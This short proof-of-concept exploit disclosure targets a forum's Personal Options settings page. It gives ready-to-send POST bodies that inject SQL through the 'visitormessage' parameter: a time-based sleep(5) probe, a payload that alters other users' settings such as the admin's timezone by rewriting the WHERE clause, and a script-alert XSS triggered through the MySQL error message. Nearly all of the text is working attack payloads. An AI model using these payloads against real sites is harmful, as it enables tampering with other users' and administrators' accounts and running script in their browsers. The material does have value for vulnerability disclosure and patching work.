PoC:

Page: Personal Options settings
Parameters: style=
			lang=
			hide_online=
			user_time=
			send_allow=
			pm_emailed=
			pm_window=
			visitormessage=
Method: POST
POST DATA:
style=1&lang=1&hide_online=0&user_time=0&send_allow=1&pm_emailed=0&pm_window=1&visitormessage=2' where id='2' and sleep(5)#&send=Save

By changing the 'id' number used in the 'where' clause, you can modify another user's settings.
Id=1 being admin you can, for example, change his/her timezone 
POST DATA:
style=1&lang=1&
hide_online=0&user_time=+10&
send_allow=1&
pm_emailed=0&
pm_window=1&
visitormessage=2' where id='1'#&send=Save

Another thing, you can get an XSS using the MySQL's error message. Which is always funny.
POST DATA:
style=1&
lang=1&
hide_online=0
&user_time=+10&
send_allow=1&
pm_emailed=0&
pm_window=1&
visitormessage=<script>alert('xss');</script>#&send=Save
